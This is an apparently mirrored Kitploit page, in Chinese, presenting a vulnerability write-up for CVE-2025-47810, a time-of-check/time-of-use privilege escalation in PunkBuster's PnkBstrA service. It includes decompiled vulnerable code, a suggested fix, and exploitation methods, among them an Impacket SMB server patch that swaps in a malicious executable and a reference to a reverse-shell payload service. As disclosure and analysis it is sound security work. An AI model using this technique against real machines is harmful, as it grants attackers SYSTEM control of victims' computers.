Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-47810 — PunkBuster LPI 提权至 NT AUTHORITY\SYSTEM | Kitploit
工具/GitHubGitHub/ptrstr/cve-2025-47810
权限提升漏洞分析漏洞利用横向移动二进制分析
GitHubptrstr/cve-2025-47810

CVE-2025-47810

PunkBuster LPI 提权至 NT AUTHORITY\SYSTEM

查看仓库
211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PunkBuster LPI (CVE-2025-47810)

Screenshot

背景

PunkBuster 将自身安装为两个服务,以及一个可选?的内核驱动程序。

  • PnkBstrA:持续在后台运行的服务,负责整体管理 PunkBuster
  • PnkBstrB:当受保护的游戏启动时启动的服务。相比 A 服务,拥有更多功能。

两个服务的结构类似,都在 localhost 上监听 UDP,端口范围是 [44301, 44400]。 一旦找到端口,它就会被写入 HKLM:\SOFTWARE\Even Balance\PnkBstrA 或 HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA 中的 Port 值。

每个请求都存储在一个 1500 字节长的全局缓冲区中(不过,为了 NUL 终止符,只接收 1499 字节)。

请求数据没有标准结构,但通常结构如下:

  • 第一个字节(通常是一个字母),指示要调用的功能
  • 该功能的参数,如果需要多个参数,通常以空格分隔

PnkBstrA 中的请求类型如下:

  • l:加载:启动并更新 PnkBstrB
    • 接受一个(可选)参数,即更新后的 PnkBstrB 可执行文件的路径
  • u:卸载:停止 PnkBstrB
  • v:版本:直接返回版本号
  • m:监控:接受一个 PID,并检查 PunkBuster 客户端 DLL(pbcl.dll)是否在该进程中,如果存在则转储其内存。

漏洞

加载处理程序(l)包含一个 TOCTOU 式漏洞,可导致以 NT AUTHORITY\SYSTEM 身份进行本地权限提升。

该处理程序的流程大致如下:

  1. 删除 PnkBstrB 服务
  2. 计算参数中文件的 MD5(如果存在)
  3. 验证参数中可执行文件的 Authenticode 和证书(如果存在)
    • 在众多检查中,确保证书的主题是 Even Balance, Inc.
  4. 在不对文件持有句柄的情况下休眠 750ms 到 2.25s,同时尝试将参数中的文件复制到 C:\Windows\SysWOW64\PnkBstrB.exe 或 C:\Windows\System32\PnkBstrB.exe,具体取决于平台
  5. 计算复制到系统目录中的文件的 MD5
  6. 验证两个 MD5 哈希是否匹配
    • 如果匹配,则使用新复制的文件创建并启动以 LocalSystem 身份运行的 PnkBstrB 服务。

问题在于,PnkBstrA 操作的文件在每次操作中都会被多次重新打开,这导致攻击者可能在两次操作之间修改该文件。

这可能导致如下情况:在文件通过证书验证后,它被替换,一个恶意文件最终成为 PnkBstrB 服务的可执行文件。这个可执行文件将允许非特权用户提升到 NT AUTHORITY\SYSTEM。

相关反编译代码如下所示:

root@kitploit:~
int startPnkB(char *updateFileName) {
    ...

    // Calculate first MD5
    firstMd5Fp = fopen(updateFileName, "r+b");
    strcpy(firstMd5, "1");
    if ( firstMd5Fp )
      computeMD5(updateFileName, firstMd5);
    nowMs = GetTickCount();
    busyWaitExpiration = rand() % 800 + 300;
    while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
      ;
    fclose(firstMd5Fp);

    // INJECTION POINT 1

    // Check certificate
    certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
    if ( g_Warnings >= 3 )
    {
      log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
      if ( certificateFilePointer )
        fclose(certificateFilePointer);
      return 0;
    }

    if ( !checkValidCertificate(updateFileName) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
      goto LABEL_49;
    }

    // Build path to copy to
    GetSystemDirectoryA(g_SystemDirectory, 246u);
    if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
      strncat(g_SystemDirectory, 260, "\\");
    strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
    _chmod(g_SystemDirectory, 0600);
    strcpy(Str, g_SystemDirectory);

    ...

    // INJECTION POINT 2

    Sleep(750u);
    if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
    {
      Sleep(750u);
      for ( startTimea = 1; startTimea > 0; --startTimea )
      {
        Sleep(750u);
        if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
          break;
      }
      if ( startTimea < 1 )
      {
        LastError = GetLastError();
        log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
        fclose(certificateFilePointer);
        return 0;
      }
    }


    // Make sure we previously opened the file
    v9 = certificateFilePointer;
    if ( certificateFilePointer )
    {
      fclose(certificateFilePointer);
      v9 = fopen(g_SystemDirectory, "rb");
    }

    // Second MD5
    strcpy(newMd5, "2");
    if ( v9 )
      computeMD5(g_SystemDirectory, newMd5);
    if ( memcmp(firstMd5, newMd5, 0x10u) )
    {
      CloseServiceHandle(hSCManager);
      log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
  LABEL_41:
      if ( v9 )
        fclose(v9);
      return 0;
    }
    ServiceA = CreateServiceA(
                 hSCManager,
                 "PnkBstrB",
                 "PnkBstrB",
                 0xF01FFu,
                 0x10u,
                 2u,
                 1u,
                 g_SystemDirectory,
                 0,
                 0,
                 0,
                 0,
                 0);

    ...
}

一个简单的修复方法是先将文件复制到一个安全但临时的位置(例如:PnkBstrB.exe.tmp),并在那里计算 MD5 和执行检查。这样,恶意行为者就无法编辑该文件。这还可以确保只打开该文件的一个副本,从而防止 SMB 利用。

利用

方法 1

一种攻击场景是提供一个恶意文件,等待 MD5 计算完成,然后将文件替换为原始 PnkBstrB.exe,从而使 WinVerifyTrust 和证书检查通过,然后再次替换为恶意文件,使第二个 MD5 通过,并使文件被复制和执行。

然而,这种场景很难执行,因为替换文件很困难,而且在 PnkBstrA 打开该文件期间进行修改似乎不会生效。 这是因为我们很难在代码中所见的 INJECTION POINT 1 处调度我们的代码。或许可以通过使用大量时间关键型高优先级线程来实现,其中一些线程不断尝试替换文件,另一些线程则在忙等待中阻塞并发核心。

方法 2

另一种方法是尝试让 PnkBstrB 与恶意文件之间产生 MD5 碰撞。它的原理是:首先让合法文件作为第一个 MD5 的候选文件,并接受证书检查。然而,在那之后,我们有 750 毫秒甚至更长的充裕时间窗口,可以将文件替换成我们自己的文件。然后,第二个 MD5 就会通过,我们的文件就会被注入。不过在开发过程中,我懒得等待生成碰撞,所以选择了另一种方法。

方法 3

这段代码依赖于 Windows,并使用 fopen,它映射到 Windows 自身的 I/O 函数。根据定义,这意味着可以访问 SMB 共享。此外,MSDN 提到支持此行为:

只要执行代码的系统在运行时能够访问该共享或映射驱动器,fopen 就接受 UNC 路径以及涉及映射网络驱动器的路径。

这意味着我们可以使用第一种方法,但由于代码依赖于我们的 SMB 共享,我们可以根据文件被请求的次数发送不同的文件。

通过修改 Impacket 的 smbserver,可以实现这种行为。 完整的 .patch 文件可以在 这里 找到。关键更改如下:

root@kitploit:~
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    ...
    
    if not hasattr(smbServer, '_hist'):
        smbServer._hist = {}

    if pathName.endswith('.exe'):
        if pathName not in smbServer._hist.keys():
            smbServer._hist[pathName] = 0
        
        smbServer._hist[pathName] += 1

        if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
            pathName = './PwnBstr.exe'
        else:
            pathName = './PnkBstrB.exe'

如你所见,如果是第一次打开该文件(第一次 MD5)或至少第 8 次(文件复制及之后),我们就会向客户端发送恶意文件,而在其他情况下发送原始文件。

恶意文件的代码可以在 这里 找到,它是一个带有反向 shell 的简单 hello world 服务。

https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220

披露

自 2025-02-15 起,我们通过不同方式多次联系 EvenBalance,但均未收到回复。

此问题已于 2025-05-10 完全披露。

下载工具